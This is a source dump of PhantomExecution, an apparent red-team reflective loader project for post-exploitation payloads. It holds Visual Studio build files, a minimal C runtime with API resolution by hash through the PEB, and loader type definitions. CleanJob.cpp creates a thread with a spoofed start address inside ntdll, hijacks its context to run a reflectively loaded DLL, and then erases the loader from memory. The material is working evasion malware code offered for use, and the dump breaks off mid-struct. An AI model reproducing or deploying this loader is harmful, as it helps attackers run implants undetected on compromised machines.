6 | e:\project\git\phantomexecution\phantomexecution\bin\postex-loader\release\x64\postex-loader.x64.pdb
7 | e:\project\git\phantomexecution\phantomexecution\bin\postex-loader\release\x86\postex-loader.x86.exe
8 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.x86.iobj
9 | e:\project\git\phantomexecution\phantomexecution\bin\postex-loader\release\x86\postex-loader.x86.pdb
10 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.vcxproj.filelistabsolute.txt
11 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.command.1.tlog
12 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.items.tlog
13 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.read.1.tlog
14 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.write.1.tlog
15 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\link.command.1.tlog
16 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\link.read.1.tlog
17 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\link.write.1.tlog
18 |
--------------------------------------------------------------------------------
/library/library.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 |
32 |
33 | Header Files
34 |
35 |
36 | Header Files
37 |
38 |
39 | Header Files
40 |
41 |
42 | Header Files
43 |
44 |
45 | Header Files
46 |
47 |
48 | Header Files
49 |
50 |
51 |
--------------------------------------------------------------------------------
/examples/postex-loader/ReflectiveLoader.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | //===============================================================================================//
3 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
4 | // All rights reserved.
5 | //
6 | // Redistribution and use in source and binary forms, with or without modification, are permitted
7 | // provided that the following conditions are met:
8 | //
9 | // * Redistributions of source code must retain the above copyright notice, this list of
10 | // conditions and the following disclaimer.
11 | //
12 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
13 | // conditions and the following disclaimer in the documentation and/or other materials provided
14 | // with the distribution.
15 | //
16 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
17 | // endorse or promote products derived from this software without specific prior written permission.
18 | //
19 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
20 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
21 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
22 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
23 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
25 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
26 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
27 | // POSSIBILITY OF SUCH DAMAGE.
28 | //===============================================================================================//
29 | #define WIN32_LEAN_AND_MEAN
30 |
31 | #include "LoaderTypes.h"
32 |
--------------------------------------------------------------------------------
/PhantomExecution.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.3.32825.248
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "library", "library\library.vcxproj", "{9BAA9130-BEDD-4E84-859A-DC508A67EA4E}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "postex-loader", "examples\postex-loader\postex-loader.vcxproj", "{061716A2-9561-46F9-9896-B58E8CBC4D94}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Debug|x64.ActiveCfg = Debug|x64
19 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Debug|x64.Build.0 = Debug|x64
20 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Debug|x86.ActiveCfg = Debug|Win32
21 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Debug|x86.Build.0 = Debug|Win32
22 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Release|x64.ActiveCfg = Release|x64
23 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Release|x64.Build.0 = Release|x64
24 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Release|x86.ActiveCfg = Release|Win32
25 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Release|x86.Build.0 = Release|Win32
26 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Debug|x64.ActiveCfg = Debug|x64
27 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Debug|x64.Build.0 = Debug|x64
28 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Debug|x86.ActiveCfg = Debug|Win32
29 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Debug|x86.Build.0 = Debug|Win32
30 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Release|x64.ActiveCfg = Release|x64
31 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Release|x64.Build.0 = Release|x64
32 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Release|x86.ActiveCfg = Release|Win32
33 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Release|x86.Build.0 = Release|Win32
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {8B8471D1-68F3-4533-8056-18A27E86653B}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/default.props:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | $(SolutionDir)$(ProjectName)\bin\
7 | $(SolutionDir)intermmediate\$(ProjectName)\$(Configuration)\
8 | $(ProjectName).$(LibrariesArchitecture)
9 |
10 |
11 |
12 | MinSpace
13 |
14 |
15 |
16 |
17 | Size
18 | true
19 | false
20 | Default
21 | false
22 | Level3
23 | OnlyExplicitInline
24 | true
25 |
26 |
27 | true
28 | Default
29 | true
30 |
31 |
32 |
33 |
34 | UseLinkTimeCodeGeneration
35 |
36 |
37 |
38 |
39 | UseLinkTimeCodeGeneration
40 |
41 |
42 |
43 |
44 | Disabled
45 | Neither
46 | false
47 |
48 |
49 | false
50 | Default
51 |
52 |
53 |
54 |
55 | Disabled
56 | Neither
57 | false
58 |
59 |
60 | false
61 | Default
62 |
63 |
64 |
65 |
--------------------------------------------------------------------------------
/examples/postex-loader/CleanJob.cpp:
--------------------------------------------------------------------------------
1 | #include "CleanJob.h"
2 | #include "Utils.h"
3 | #include "End.h"
4 |
5 | #pragma code_seg(".text$y")
6 | void CleanJob(DLLMAIN entryPoint, ULONG_PTR loadedDllBaseAddress, void* loaderStart, NT_CREATETHREADEX NtCreateThreadEx, NT_GETCONTEXTTHREAD NtGetContextThread, RTL_EXITUSERTHREAD RtlExitUserThread, NT_SETCONTEXTTHREAD NtSetContextThread, NT_RESUMETHREAD NtResumeThread, WAITFORSINGLEOBJECTS WaitForSingleObject, VIRTUALFREE VirtualFree, RTL_CAPTURECONTEXT RtlCaptureContext, NT_CONTINUE NtContinue, VIRTUALQUERY VirtualQuery, PVOID TpReleaseCleanupGroupMembers, UNMAPVIEWOFFILE UnmapViewOfFile) {
7 |
8 | MEMORY_BASIC_INFORMATION mbi = { };
9 | HANDLE hThread = NULL;
10 | CONTEXT CtxFreeMem;
11 | CONTEXT CtxEntry;
12 |
13 | if (VirtualQuery((char*)loaderStart, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) {
14 | if (mbi.Type == MEM_PRIVATE) {
15 | VirtualFree((char*)mbi.BaseAddress, 0, MEM_RELEASE);
16 | }
17 | else if (mbi.Type == MEM_MAPPED)
18 | UnmapViewOfFile((char*)mbi.BaseAddress);
19 | }
20 |
21 | if (NT_SUCCESS(NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), (PVOID)((ULONG_PTR)TpReleaseCleanupGroupMembers + (ULONG_PTR)0x8950), NULL, TRUE, 0, 0, 0, NULL)))
22 | {
23 | CtxEntry.ContextFlags = CONTEXT_FULL;
24 | NtGetContextThread(hThread, &CtxEntry);
25 |
26 | #ifdef _WIN64
27 | CtxEntry.Rip = UINT_PTR(entryPoint);
28 | CtxEntry.Rcx = UINT_PTR(loadedDllBaseAddress);
29 | CtxEntry.Rdx = UINT_PTR(DLL_PROCESS_ATTACH);
30 | *(ULONG_PTR*)CtxEntry.Rsp = UINT_PTR(RtlExitUserThread);
31 | #elif _WIN32
32 | DWORD* originalStack = (DWORD*)CtxEntry.Esp;
33 | DWORD* newStack = originalStack - 4;
34 | newStack[0] = (DWORD)UINT_PTR(RtlExitUserThread);
35 | newStack[1] = (DWORD)loadedDllBaseAddress;
36 | newStack[2] = (DWORD)DLL_PROCESS_ATTACH;
37 | CtxEntry.Esp = (DWORD)newStack;
38 | CtxEntry.Eip = (DWORD)entryPoint;
39 | #endif
40 | CtxEntry.ContextFlags = CONTEXT_FULL;
41 | NtSetContextThread(hThread, &CtxEntry);
42 | NtResumeThread(hThread, 0);
43 | }
44 |
45 | WaitForSingleObject(hThread, INFINITE);
46 |
47 | if (VirtualQuery((char*)loadedDllBaseAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) {
48 |
49 | if (mbi.Type == MEM_PRIVATE) {
50 |
51 | CtxFreeMem.ContextFlags = CONTEXT_FULL;
52 | RtlCaptureContext(&CtxFreeMem);
53 |
54 | #ifdef _WIN64
55 | CtxFreeMem.Rip = UINT_PTR(VirtualFree);
56 | CtxFreeMem.Rcx = UINT_PTR(CleanJob);
57 | CtxFreeMem.Rdx = UINT_PTR(0);
58 | CtxFreeMem.R8 = UINT_PTR(MEM_RELEASE);
59 | *(ULONG_PTR*)CtxFreeMem.Rsp = UINT_PTR(RtlExitUserThread);
60 | #else
61 | DWORD* originalStack = (DWORD*)CtxFreeMem.Esp;
62 | DWORD* newStack = originalStack - 4;
63 | newStack[0] = (DWORD)UINT_PTR(RtlExitUserThread);
64 | newStack[1] = (DWORD)mbi.BaseAddress;
65 | newStack[2] = (DWORD)0;
66 | newStack[3] = (DWORD)MEM_RELEASE;
67 | CtxFreeMem.Esp = (DWORD)newStack;
68 | CtxFreeMem.Eip = (DWORD)VirtualFree;
69 | #endif
70 | CtxFreeMem.ContextFlags = CONTEXT_FULL;
71 | NtContinue(&CtxFreeMem, FALSE);
72 |
73 | }
74 | else if (mbi.Type == MEM_MAPPED) {
75 |
76 | CtxFreeMem.ContextFlags = CONTEXT_FULL;
77 | RtlCaptureContext(&CtxFreeMem);
78 |
79 | #ifdef _WIN64
80 | CtxFreeMem.Rip = UINT_PTR(UnmapViewOfFile);
81 | CtxFreeMem.Rcx = UINT_PTR(mbi.BaseAddress);
82 | *(ULONG_PTR*)CtxFreeMem.Rsp = UINT_PTR(RtlExitUserThread);
83 | #else
84 | DWORD* originalStack = (DWORD*)CtxFreeMem.Esp;
85 | DWORD* newStack = originalStack - 4;
86 | newStack[0] = (DWORD)UINT_PTR(RtlExitUserThread);
87 | newStack[1] = (DWORD)mbi.BaseAddress;
88 | CtxFreeMem.Esp = (DWORD)newStack;
89 | CtxFreeMem.Eip = (DWORD)UnmapViewOfFile;
90 | #endif
91 | CtxFreeMem.ContextFlags = CONTEXT_FULL;
92 | NtContinue(&CtxFreeMem, FALSE);
93 | }
94 |
95 | }
96 | }
97 |
98 | #pragma code_seg(".text$x")
99 | PVOID GetCleanData(PDWORD Length)
100 | {
101 | PVOID Data = NULL;
102 | DWORD Size = 0;
103 |
104 | Size = UINT_PTR(LdrEnd) - UINT_PTR(CleanJob);
105 |
106 | #ifdef _WIN64
107 | Data = CleanJob;
108 | #else
109 | Data = PVOID((UINT_PTR)LdrEnd() - 8);
110 | Data = PVOID(UINT_PTR(Data) - Size);
111 | #endif
112 |
113 | if (Length)
114 | {
115 | Length[0] = Size;
116 | }
117 |
118 | return Data;
119 | }
--------------------------------------------------------------------------------
/library/StdLib.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include "StdLib.h"
3 | #include "Hash.h"
4 |
5 | /*******************************************************************
6 | * To avoid problems with function positioning, do not add any new
7 | * functions above this pragma directive.
8 | ********************************************************************/
9 | #pragma code_seg(".text$e")
10 |
11 | /**
12 | * A function to copy memory from one location to another
13 | *
14 | * @param dest A pointer to the destination buffer.
15 | * @param src A pointer to the source buffer.
16 | * @param size The size of the memory to copy.
17 | * @return A Boolean value to indicate success
18 | */
19 | BOOL _memcpy(void* dest, void* src, size_t size) {
20 | if (dest == NULL || src == NULL) {
21 | return FALSE;
22 | }
23 | char* csrc = (char*)src;
24 | char* cdest = (char*)dest;
25 | for (size_t i = 0; i < size; i++) {
26 | cdest[i] = csrc[i];
27 | }
28 | return TRUE;
29 | }
30 |
31 | /**
32 | * A function to compare two memory blocks
33 | *
34 | * @param ptr1 A pointer to the destination buffer.
35 | * @param ptr2 A pointer to the source buffer.
36 | * @param size Number of bytes to compare.
37 | * @return A negative value if ptr1 is less than ptr2, a positive value if ptr1 is greater
38 | * than ptr2, or 0 if both memory blocks are equal.
39 | */
40 | int _memcmp(const void* ptr1, const void* ptr2, size_t size) {
41 | const unsigned char* p1 = (const unsigned char*)ptr1;
42 | const unsigned char* p2 = (const unsigned char*)ptr2;
43 |
44 | for (size_t i = 0; i < size; ++i) {
45 | if (p1[i] < p2[i]) {
46 | return -1;
47 | }
48 | else if (p1[i] > p2[i]) {
49 | return 1;
50 | }
51 | }
52 |
53 | return 0;
54 | }
55 |
56 | /**
57 | * A function to fill a block of memory
58 | *
59 | * @param dest A pointer to the memory block to be filled.
60 | * @param ch The byte value to fill the memory block with.
61 | * @param count Number of bytes to fill.
62 | * @return A pointer to the memory block dest.
63 | */
64 | #pragma optimize( "", off )
65 | void* _memset(void* dest, int ch, size_t count) {
66 | unsigned char* p = (unsigned char*)dest;
67 | unsigned char value = (unsigned char)ch;
68 |
69 | for (size_t i = 0; i < count; i++) {
70 | p[i] = value;
71 | }
72 |
73 | return dest;
74 | }
75 | #pragma optimize( "", on)
76 |
77 |
78 | int _strcmp(const char* src, const char* dst)
79 | {
80 | int ret = 0;
81 |
82 | while (!(ret = *(unsigned char*)src - *(unsigned char*)dst) && *dst)
83 | ++src, ++dst;
84 |
85 | if (ret < 0)
86 | ret = -1;
87 | else if (ret > 0)
88 | ret = 1;
89 |
90 | return ret;
91 | }
92 |
93 |
94 | #ifdef _DEBUG
95 | #include "FunctionResolving.h"
96 | /**
97 | * Print the specified string to the console
98 | *
99 | * Note: We resolve the Windows APIs each time we call the function to make it
100 | * position independent and to avoid passing a DEBUGAPI structure around.
101 | * This means the current implementation can be used in Release mode (for debugging) as well.
102 | * To support Release mode, modify the macro in StdLib.h.
103 | *
104 | * @param format The string to be printed.
105 | * @param ... Optional number of arguments to facilitate printing format specifiers.
106 | */
107 | void _printf(const char* format, ...) {
108 | va_list arglist;
109 | va_start(arglist, format);
110 | char buff[1024];
111 |
112 | typedef int (WINAPI* VSPRINTF_S)(char*, size_t, const char*, va_list);
113 | typedef BOOL(WINAPI* WRITECONSOLEA)(HANDLE, const void*, DWORD, LPDWORD, LPVOID);
114 | typedef HANDLE(WINAPI* GETSTDHANDLE)(DWORD);
115 |
116 | constexpr DWORD NTDLL_HASH = CompileTimeHash("ntdll.dll");
117 | constexpr DWORD KERNEL32_HASH = CompileTimeHash("kernel32.dll");
118 |
119 | constexpr DWORD vsprintf_s_hash = CompileTimeHash("vsprintf_s");
120 | constexpr DWORD WriteConsoleA_hash = CompileTimeHash("WriteConsoleA");
121 | constexpr DWORD GetStdHandle_hash = CompileTimeHash("GetStdHandle");
122 |
123 | // Get the Process Enviroment Block
124 | #ifdef _WIN64
125 | _PPEB pebAddress = (_PPEB)__readgsqword(0x60);
126 | #elif _WIN32
127 | _PPEB pebAddress = (_PPEB)__readfsdword(0x30);
128 | #endif
129 | VSPRINTF_S fnVsprintf_s = (VSPRINTF_S)GetProcAddressByHash(pebAddress, NTDLL_HASH, vsprintf_s_hash);
130 |
131 | int len = fnVsprintf_s(buff, 1024, format, arglist);
132 | if (len > 0) {
133 | WRITECONSOLEA fnWriteConsoleA = (WRITECONSOLEA)GetProcAddressByHash(pebAddress, KERNEL32_HASH, WriteConsoleA_hash);
134 | GETSTDHANDLE fnGetStdHandle = (GETSTDHANDLE)GetProcAddressByHash(pebAddress, KERNEL32_HASH, GetStdHandle_hash);
135 |
136 | fnWriteConsoleA(fnGetStdHandle(STD_OUTPUT_HANDLE), buff, len, NULL, NULL);
137 | }
138 | va_end(arglist);
139 | }
140 | #endif _DEBUG
141 |
--------------------------------------------------------------------------------
/library/library.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 | 16.0
37 | Win32Proj
38 | {9baa9130-bedd-4e84-859a-dc508a67ea4e}
39 | library
40 | 10.0
41 |
42 |
43 |
44 | StaticLibrary
45 | true
46 | v143
47 | Unicode
48 |
49 |
50 | StaticLibrary
51 | false
52 | v143
53 | true
54 | Unicode
55 |
56 |
57 | StaticLibrary
58 | true
59 | v143
60 | Unicode
61 |
62 |
63 | StaticLibrary
64 | false
65 | v143
66 | true
67 | Unicode
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 | Level3
95 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
96 | true
97 |
98 |
99 | Console
100 | true
101 |
102 |
103 |
104 |
105 | Level3
106 | true
107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
108 | true
109 |
110 |
111 | Console
112 | true
113 | true
114 |
115 |
116 |
117 |
118 | Level3
119 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 |
122 |
123 | Console
124 | true
125 |
126 |
127 |
128 |
129 | Level3
130 | true
131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
132 | true
133 |
134 |
135 | Console
136 | true
137 | true
138 |
139 |
140 |
141 |
142 |
143 |
--------------------------------------------------------------------------------
/examples/postex-loader/postex-loader.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {061716a2-9561-46f9-9896-b58e8cbc4d94}
25 | postexloader
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 | Level3
80 | true
81 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
82 | true
83 |
84 |
85 | Console
86 | true
87 |
88 |
89 |
90 |
91 | Level3
92 | true
93 | true
94 | true
95 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
96 | true
97 |
98 |
99 | Console
100 | true
101 | true
102 | true
103 |
104 |
105 | python3.exe "$(SolutionDir)udrl.py" extract-udrl "$(OutDir)$(TargetName).exe" "$(OutDir)$(TargetName).bin"
106 |
107 |
108 |
109 |
110 | Level3
111 | true
112 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
113 | true
114 |
115 |
116 | Console
117 | true
118 |
119 |
120 |
121 |
122 | Level3
123 | true
124 | true
125 | true
126 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
127 | true
128 |
129 |
130 |
131 |
132 | Console
133 | true
134 | true
135 | true
136 |
137 |
138 | python3.exe "$(SolutionDir)udrl.py" extract-udrl "$(OutDir)$(TargetName).exe" "$(OutDir)$(TargetName).bin"
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 | {9baa9130-bedd-4e84-859a-dc508a67ea4e}
152 |
153 |
154 |
155 |
156 |
157 |
--------------------------------------------------------------------------------
/library/LoaderTypes.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | #define DEREF( name )*(UINT_PTR *)(name)
5 | #define DEREF_64( name )*(DWORD64 *)(name)
6 | #define DEREF_32( name )*(DWORD *)(name)
7 | #define DEREF_16( name )*(WORD *)(name)
8 | #define DEREF_8( name )*(BYTE *)(name)
9 |
10 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
11 | typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
12 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
13 | typedef BOOL(WINAPI* VIRTUALPROTECT)(LPVOID, SIZE_T, DWORD, PDWORD);
14 | typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
15 |
16 |
17 | typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
18 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
19 |
20 |
21 | typedef NTSTATUS(NTAPI* NT_CREATETHREADEX)(
22 | PHANDLE hThread,
23 | ACCESS_MASK DesiredAccess,
24 | PVOID ObjectAttributes,
25 | HANDLE ProcessHandle,
26 | PVOID lpStartAddress,
27 | PVOID lpParameter,
28 | ULONG Flags,
29 | SIZE_T StackZeroBits,
30 | SIZE_T SizeOfStackCommit,
31 | SIZE_T SizeOfStackReserve,
32 | PVOID lpBytesBuffer
33 | );
34 |
35 |
36 | #define NtCurrentProcess() ((HANDLE)-1)
37 |
38 | typedef BOOL(WINAPI* VIRTUALFREE)(
39 | LPVOID lpAddress,
40 | SIZE_T dwSize,
41 | DWORD dwFreeType
42 | );
43 |
44 | typedef NTSTATUS(NTAPI* NT_GETCONTEXTTHREAD)(HANDLE, PCONTEXT);
45 |
46 | typedef NTSTATUS(NTAPI* NT_SETCONTEXTTHREAD)
47 | (
48 | IN HANDLE ThreadHandle,
49 | IN PCONTEXT ThreadContext
50 | );
51 |
52 |
53 | typedef NTSTATUS(NTAPI* NT_RESUMETHREAD)(
54 | HANDLE ThreadHandle,
55 | PULONG SuspendCount
56 | );
57 |
58 | typedef VOID(NTAPI* RTL_CAPTURECONTEXT)(
59 | PCONTEXT ContextRecord
60 | );
61 |
62 | typedef NTSTATUS(NTAPI* NT_CONTINUE)(
63 | PCONTEXT ContextRecord,
64 | BOOLEAN TestAlert
65 | );
66 |
67 |
68 | typedef VOID(NTAPI* RTL_EXITUSERTHREAD)(
69 | NTSTATUS ExitStatus
70 | );
71 |
72 | typedef DWORD(WINAPI* WAITFORSINGLEOBJECTS)(
73 | HANDLE hHandle,
74 | DWORD dwMilliseconds
75 | );
76 |
77 | typedef DWORD(WINAPI* QUENEUSERAPC)(
78 | PAPCFUNC pfnAPC,
79 | HANDLE hThread,
80 | ULONG_PTR dwData
81 | );
82 |
83 | typedef SIZE_T(WINAPI* VIRTUALQUERY)(
84 | LPCVOID lpAddress,
85 | PMEMORY_BASIC_INFORMATION lpBuffer,
86 | SIZE_T dwLength
87 | );
88 |
89 | typedef BOOL(WINAPI* UNMAPVIEWOFFILE)(
90 | LPCVOID lpBaseAddress
91 | );
92 |
93 |
94 | typedef BOOL(WINAPI * CREATETIMERQUENETIMER)(
95 | PHANDLE phNewTimer,
96 | HANDLE TimerQueue,
97 | WAITORTIMERCALLBACK Callback,
98 | PVOID Parameter,
99 | DWORD DueTime,
100 | DWORD Period,
101 | ULONG Flags
102 | );
103 |
104 | typedef struct _WINDOWSAPIS {
105 | LOADLIBRARYA LoadLibraryA;
106 | GETPROCADDRESS GetProcAddress;
107 | VIRTUALALLOC VirtualAlloc;
108 | VIRTUALPROTECT VirtualProtect;
109 | NTFLUSHINSTRUCTIONCACHE NtFlushInstructionCache;
110 | VIRTUALFREE VirtualFree;
111 | PVOID TpReleaseCleanupGroupMembers;
112 |
113 | } WINDOWSAPIS, * PWINDOWSAPIS;
114 |
115 | typedef struct _NTSAPIS {
116 |
117 | NT_CREATETHREADEX NtCreateThreadEx;
118 | NT_GETCONTEXTTHREAD NtGetContextThread;
119 | NT_SETCONTEXTTHREAD NtSetContextThread;
120 | NT_RESUMETHREAD NtResumeThread;
121 | RTL_CAPTURECONTEXT RtlCaptureContext;
122 | NT_CONTINUE NtContinue;
123 | RTL_EXITUSERTHREAD RtlExitUserThread;
124 | } NTSAPIS, * PNTSAPIS;
125 |
126 | typedef struct _OTHERSAPIS {
127 |
128 | WAITFORSINGLEOBJECTS WaitForSingleObject;
129 | VIRTUALQUERY VirtualQuery;
130 | UNMAPVIEWOFFILE UnmapViewOfFile;
131 |
132 | } OTHERSAPIS, * POTHERSAPIS;
133 |
134 | typedef struct _UNICODE_STR {
135 | USHORT Length;
136 | USHORT MaximumLength;
137 | PWSTR pBuffer;
138 | } UNICODE_STR, * PUNICODE_STR;
139 |
140 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
141 | typedef struct _LDR_DATA_TABLE_ENTRY {
142 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
143 | LIST_ENTRY InMemoryOrderModuleList;
144 | LIST_ENTRY InInitializationOrderModuleList;
145 | PVOID DllBase;
146 | PVOID EntryPoint;
147 | ULONG SizeOfImage;
148 | UNICODE_STR FullDllName;
149 | UNICODE_STR BaseDllName;
150 | ULONG Flags;
151 | SHORT LoadCount;
152 | SHORT TlsIndex;
153 | LIST_ENTRY HashTableEntry;
154 | ULONG TimeDateStamp;
155 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
156 |
157 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA
158 | typedef struct _PEB_LDR_DATA {
159 | DWORD dwLength;
160 | DWORD dwInitialized;
161 | LPVOID lpSsHandle;
162 | LIST_ENTRY InLoadOrderModuleList;
163 | LIST_ENTRY InMemoryOrderModuleList;
164 | LIST_ENTRY InInitializationOrderModuleList;
165 | LPVOID lpEntryInProgress;
166 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
167 |
168 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
169 | typedef struct _PEB_FREE_BLOCK {
170 | struct _PEB_FREE_BLOCK* pNext;
171 | DWORD dwSize;
172 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
173 |
174 | /**
175 | * struct _PEB is defined in Winternl.h but it is incomplete
176 | * WinDbg> dt -v ntdll!_PEB
177 | */
178 | typedef struct __PEB {
179 | BYTE bInheritedAddressSpace;
180 | BYTE bReadImageFileExecOptions;
181 | BYTE bBeingDebugged;
182 | BYTE bSpareBool;
183 | LPVOID lpMutant;
184 | LPVOID lpImageBaseAddress;
185 | PPEB_LDR_DATA pLdr;
186 | LPVOID lpProcessParameters;
187 | LPVOID lpSubSystemData;
188 | LPVOID lpProcessHeap;
189 | PRTL_CRITICAL_SECTION pFastPebLock;
190 | LPVOID lpFastPebLockRoutine;
191 | LPVOID lpFastPebUnlockRoutine;
192 | DWORD dwEnvironmentUpdateCount;
193 | LPVOID lpKernelCallbackTable;
194 | DWORD dwSystemReserved;
195 | DWORD dwAtlThunkSListPtr32;
196 | PPEB_FREE_BLOCK pFreeList;
197 | DWORD dwTlsExpansionCounter;
